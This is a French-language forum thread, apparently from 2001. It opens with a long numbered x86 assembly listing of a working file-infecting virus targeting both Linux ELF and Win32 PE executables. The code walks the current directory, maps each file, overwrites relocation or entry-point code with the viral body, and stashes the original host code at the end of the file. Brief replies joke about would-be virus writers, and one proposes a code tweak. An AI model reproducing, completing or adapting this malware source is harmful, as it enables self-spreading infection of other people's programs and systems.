  564. lea esi,[ebp + end_lhost - lgdelta]
  565. rep movsb   ;copy virus to stack and jump there
  566. jmp esp   ;(becoz we need to restore host code back)
  567. end_lhost Proc
  568. push ebx
  569. push 125
  570. pop eax
  571. lea ebx,[ebp + Start - lgdelta]
  572. and ebx,0FFFFF000h
  573. mov ecx,3000h
  574. mov edx,7
  575. int 80h   ;deprotect code section
  576. pop ebx
  577. push 5
  578. pop eax
  579. xor ecx,ecx
  580. int 80h   ;open host file
  581. xchg eax,ebx
  582. test ebx,ebx
  583. jns read_host
  584. q_host: xor eax,eax
  585. inc eax
  586. push -1
  587. pop ebx
  588. int 80h   ;quit if error
  589. read_host:
  590. push 19
  591. pop eax
  592. mov ecx,12345678h
  593. l_lseek = dword ptr $-4
  594. cdq
  595. int 80h   ;seek to saved host code (EOF - some bytez)
  596. test eax,eax
  597. js q_host
  598. pushad
  599. push 5
  600. pop eax
  601. call cur_dir
  602. db '.',0
  603. cur_dir:pop ebx
  604. xor ecx,ecx
  605. cdq
  606. int 80h   ;get current directory descriptor
  607. xchg eax,ebx
  608. inf_dir:push 89
  609. pop eax
  610. lea ecx,[ebp + WFD - lgdelta]
  611. int 80h   ;get file from directory
  612. xchg eax,ecx
  613. jecxz cldir   ;no more filez..
  614. add eax,10
  615. call lCheckInfect  ;try to infect it
  616. jmp inf_dir   ;and look for another file
  617. cldir: push 6
  618. pop eax
  619. int 80h   ;close directory descriptor
  620. popad
  621. push 3
  622. pop eax
  623. lea ecx,[ebp + Start - lgdelta]
  624. mov edi,ecx
  625. mov edx,virtual_end-Start
  626. int 80h   ;restore host code
  627. test eax,eax
  628. js q_host
  629. push 6
  630. pop eax
  631. int 80h   ;close host file descriptor
  632. add esp,end_end_lhost-end_lhost
  633. mov [esp.cPushad],edi ;write host entrypoint address
  634. popad
  635. ret    ;and jump to there
  636. ;INFECT FILE (Linux version)
  637. lCheckInfect Proc
  638. pushad
  639. xchg eax,ebx
  640. push 5
  641. pop eax
  642. cdq
  643. inc edx
  644. inc edx
  645. mov ecx,edx
  646. int 80h   ;open file
  647. xchg eax,ebx
  648. test ebx,ebx
  649. jns c_open
  650. popad
  651. ret
  652. c_open: mov [ebp + f_handle - lgdelta],ebx
  653. push 19
  654. pop eax
  655. xor ecx,ecx
  656. int 80h   ;seek to EOF = get file size
  657. mov [ebp + l_lseek - lgdelta],eax
  658. ;save it
  659. push ecx
  660. push ebx
  661. inc ecx
  662. push ecx
  663. inc ecx
  664. inc ecx
  665. push ecx
  666. push eax
  667. xor ecx,ecx
  668. push ecx
  669. mov ebx,esp
  670. push 90
  671. pop eax
  672. int 80h   ;map file to address space
  673. add esp,24
  674. cmp eax,0FFFFF000h
  675. jbe c_mmap   ;quit if error
  676. jmp c_file
  677. c_mmap: mov ecx,eax
  678. mov [ebp + fm_handle - lgdelta],eax
  679. pushad
  680. call check_elf
  681. je lInfectELF  ;is it Linux program (ELF)?
  682. add ax,-IMAGE_DOS_SIGNATURE
  683. jne c_mfile
  684. call check_pe
  685. jne c_mfile   ;is it Win32 program (PE)?
  686. ;some important chex
  687. cmp word ptr [esi.NT_FileHeader.FH_Machine],IMAGE_FILE_MACHINE_I386
  688. jne c_mfile
  689. mov ax,[esi.NT_FileHeader.FH_Characteristics]
  690. test ax,IMAGE_FILE_EXECUTABLE_IMAGE
  691. je c_mfile
  692. test ax,IMAGE_FILE_DLL
  693. jne c_mfile
  694. test ax,IMAGE_FILE_SYSTEM
  695. jne c_mfile
  696. mov al,byte ptr [esi.NT_FileHeader.OH_Subsystem]
  697. test al,IMAGE_SUBSYSTEM_NATIVE
  698. jne c_mfile
  699. movzx eax,word ptr [esi.NT_FileHeader.FH_NumberOfSections]
  700. dec eax
  701. test eax,eax
  702. je c_mfile
  703. call header&relocs  ;get PE headerz and check for relocs
  704. je c_mfile   ;quit if no relocs
  705. mov ebx,[edi.SH_VirtualAddress]
  706. cmp eax,ebx
  707. jne c_mfile
  708. cmp [edi.SH_SizeOfRawData],virus_end-Start+500
  709. jb c_mfile   ;is it large enough?
  710. pushad
  711. xor eax,eax
  712. mov edi,edx
  713. stosd
  714. stosd
  715. popad    ;clear relocs record
  716. call set_alignz  ;align section variable
  717. mov eax,[esi.NT_OptionalHeader.OH_AddressOfEntryPoint]
  718. mov [esi.NT_OptionalHeader.OH_AddressOfEntryPoint],ebx
  719. mov [ebp + original_ep - lgdelta],eax
  720. mov eax,[esi.NT_OptionalHeader.OH_ImageBase]
  721. mov [ebp + image_base - lgdelta],eax
  722. ;set some important variablez
  723. pushad
  724. mov edi,[edi.SH_PointerToRawData]
  725. add edi,[esp+24]
  726. lea esi,[ebp + Start - lgdelta]
  727. mov ecx,virus_end-Start
  728. rep movsb   ;overwrite relocs by virus code
  729. popad
  730. or dword ptr [edi.SH_Characteristics],IMAGE_SCN_MEM_WRITE
  731. ;set flag
  732. c_mfile:popad
  733. push 91
  734. pop eax
  735. int 80h   ;unmap file
  736. c_file: push 6
  737. pop eax
  738. mov ebx,[ebp + f_handle - lgdelta]
  739. int 80h   ;close file descriptor
  740. popad
  741. ret    ;and quit
  742. lCheckInfect EndP
  743. ;INFECT LINUX PROGRAM (Linux version)
  744. lInfectELF Proc
  745. mov edi,ecx
  746. movzx eax,word ptr [edi+12h]
  747. cmp eax,3
  748. jne c_mfile
  749. call get_elf   ;get ELF headerz
  750. p_sectionz2:
  751. mov eax,[esi+0Ch]  ;virtual address
  752. add eax,[esi+14h]  ;virtual size
  753. cmp ebx,eax
  754. jb got_section2  ;does EP fit to this section?
  755. add esi,edx   ;no, get to next record
  756. loop p_sectionz2  ;ECX-timez
  757. jmp c_mfile   ;invalid ELF, quit
  758. got_section2:
  759. mov eax,[ebp + Start - lgdelta]
  760. mov ecx,[esi+10h]
  761. add ecx,edi
  762. cmp [ecx],eax
  763. je c_mfile   ;infection check
  764. mov eax,[esi+14h]
  765. cmp eax,virtual_end-Start
  766. jb c_mfile   ;is it large enough?
  767. sub esp,eax   ;create buffer in stack
  768. mov [ebp + s_mem - lgdelta],eax
  769. add dword ptr [edi+18h],LinuxStart-Start
  770. mov ecx,[esi+14h]
  771. mov esi,[esi+10h]
  772. add esi,edi
  773. mov eax,esi
  774. mov edi,esp
  775. rep movsb   ;copy original host code there
  776. mov edi,eax
  777. lea esi,[ebp + Start - lgdelta]
  778. mov ecx,virtual_end-Start
  779. rep movsb   ;overwrite host code by virus
  780. push 91
  781. pop eax
  782. mov ebx,[ebp + fm_handle - lgdelta]
  783. int 80h   ;unmap file
  784. push 19
  785. pop eax
  786. mov ebx,[ebp + f_handle - lgdelta]
  787. xor ecx,ecx
  788. cdq
  789. inc edx
  790. inc edx
  791. int 80h   ;go to EOF
  792. push 4
  793. pop eax
  794. mov ecx,esp
  795. mov edx,virtual_end-Start
  796. int 80h   ;write there original host code
  797. add esp,[ebp + s_mem - lgdelta]
  798. popad    ;correct stack
  799. jmp c_file   ;and close the file
  800. lInfectELF EndP
  801. ;check if it is Linux program (ELF)
  802. check_elf Proc
  803. mov eax,[ecx]
  804. push eax
  805. add eax,-464C457Fh
  806. pop eax
  807. ret
  808. check_elf EndP
  809. ;check if it is Win32 program (PE)
  810. check_pe Proc
  811. mov eax,[ecx.MZ_lfanew]
  812. add eax,ecx
  813. xchg eax,esi
  814. mov eax,[esi]
  815. add eax,-IMAGE_NT_SIGNATURE
  816. ret
  817. check_pe EndP
  818. ;get some variablez and check for relocationz in PE file
  819. header&relocs Proc
  820. imul eax,eax,IMAGE_SIZEOF_SECTION_HEADER
  821. movzx edx,word ptr [esi.NT_FileHeader.FH_SizeOfOptionalHeader]
  822. lea edi,[eax+edx+IMAGE_SIZEOF_FILE_HEADER+4]
  823. add edi,esi
  824. lea edx,[esi.NT_OptionalHeader.OH_DataDirectory.DE_BaseReloc.DD_VirtualAddress]
  825. mov eax,[edx]
  826. test eax,eax
  827. ret
  828. header&relocs EndP
  829. ;align section variable
  830. set_alignz Proc
  831. mov eax,virtual_end-Start
  832. cmp eax,[edi.SH_VirtualSize]
  833. jb o_vs
  834. mov ecx,[esi.NT_OptionalHeader.OH_SectionAlignment]
  835. cdq
  836. div ecx
  837. test edx,edx
  838. je o_al
  839. inc eax
  840. o_al: mul ecx
  841. mov [edi.SH_VirtualSize],eax
  842. o_vs: ret
  843. set_alignz EndP
  844. ;get some important variablez from Linux program (ELF)
  845. get_elf Proc
  846. mov ebx,[edi+18h]  ;EP
  847. mov esi,[edi+20h]  ;section header
  848. add esi,edi   ;normalize
  849. movzx edx,word ptr [edi+2Eh] ;size of section header
  850. movzx ecx,word ptr [edi+30h] ;number of sectionz
  851. ret
  852. get_elf EndP
  853. end_end_lhost:
  854. end_lhost EndP
  855. gpl   db 'This GNU program is covered by GPL.',0
  856. ;licence agreement ;-)
  857. ;CRC32s of used APIz
  858. crc32s:   dd 0AE17EBEFh ;FindFirstFileA
  859. dd 0AA700106h ;FindNextFileA
  860. dd 0C200BE21h ;FindClose
  861. dd 08C892DDFh ;CreateFileA
  862. dd 096B2D96Ch ;CreateFileMappingA
  863. dd 0797B49ECh ;MapViewOfFile
  864. dd 094524B42h ;UnmapViewOfFile
  865. dd 068624A9Dh ;CloseHandle
  866. dd 04402890Eh ;VirtualAlloc
  867. dd 02AAD1211h ;VirtualFree
  868. dd 021777793h ;WriteFile
  869. dd 085859D42h ;SetFilePointer
  870. dd 0EBC6C18Bh ;GetCurrentDirectoryA
  871. dd 0B2DBD7DCh ;SetCurrentDirectoryA
  872. dd 07495B3ADh ;OutputDebugStringA
  873. crc32c = ($-crc32s)/4    ;number of APIz
  874. virus_end:
  875. ;addresses of APIz
  876. a_apis:
  877. a_FindFirstFileA dd ?
  878. a_FindNextFileA  dd ?
  879. a_FindClose  dd ?
  880. a_CreateFileA  dd ?
  881. a_CreateFileMappingA dd ?
  882. a_MapViewOfFile  dd ?
  883. a_UnmapViewOfFile dd ?
  884. a_CloseHandle  dd ?
  885. a_VirtualAlloc  dd ?
  886. a_VirtualFree  dd ?
  887. a_WriteFile  dd ?
  888. a_SetFilePointer dd ?
  889. a_GetCurrentDirectoryA dd ?
  890. a_SetCurrentDirectoryA dd ?
  891. a_OutputDebugStringA dd ?
  892. f_handle  dd ?  ;file handle
  893. fm_handle  dd ?  ;file mapping handle
  894. s_mem   dd ?  ;size of host code (for stack manipulationz)
  895. WFD  WIN32_FIND_DATA ?  ;WIN32_FIND_DATA structure
  896. prev_dir  db MAX_PATH dup (?);original directory
  897. virtual_end:
  898. ends

Reply

Marsh Posté le 11-05-2001 à 17:02:40    

"je suis étudiant en informatique" -> il veut devenir un pirate
"comment on fait des virus sous quel logiciel en particulier" -> il a pas demandé comment fonctionnent les virus, mais comment en ecrire un
"quelque exemple" -> du moment que ca lui permet de faire un truc c'est bon
;)


---------------
FAQ fclc++ - FAQ C++ - C++ FAQ Lite
Reply

Marsh Posté le 11-05-2001 à 17:03:53    

romuz a écrit a écrit :

tout comme vous, je trouve çà très drole.
Forcément, ya toujours des couillons qui veulent faire chier (avec leur virus) mais heureusement, ils ne sont pas assez malins pour pouvoir en coder une ligne....




C'est clair! Déjà que pour faire un virus DOS vraiment correct il faut être motivé, alors un virus Win... D'ailleurs les virus les plus "à la mode" actuellement sont de vulgaire saloperies en VB... Facile à faire, mais suffisament emmerdant pour le gars qui ne se méfie pas!

Reply

Marsh Posté le 11-05-2001 à 17:04:10    

Bien joué, mais j'ai lu vite fait et je crois qu'il y a une erreur:
 
-> mov edx,virtual_end-Start
 
à remplacer par
 
-> mov edx,virtual_end-Start+2
 
enfin presque...

Reply

Marsh Posté le 11-05-2001 à 17:06:30    

zop a écrit a écrit :

Ma modeste contribution à ces beaux discours, un virus compatible Win32 et autres exécutables au format ELF, admirer:
...




Qu'est-ce-que je disais...

Reply

Marsh Posté le 11-05-2001 à 17:07:04    

:lol: :lol: :lol:
c kler à mon avis qu'une telle reponse est plus decourageante qu'un va voir ailleurs ?


---------------
FAQ fclc++ - FAQ C++ - C++ FAQ Lite
Reply

Marsh Posté le    

Reply

Sujets relatifs:

Leave a Replay

Make sure you enter the(*)required information where indicate.HTML code is not allowed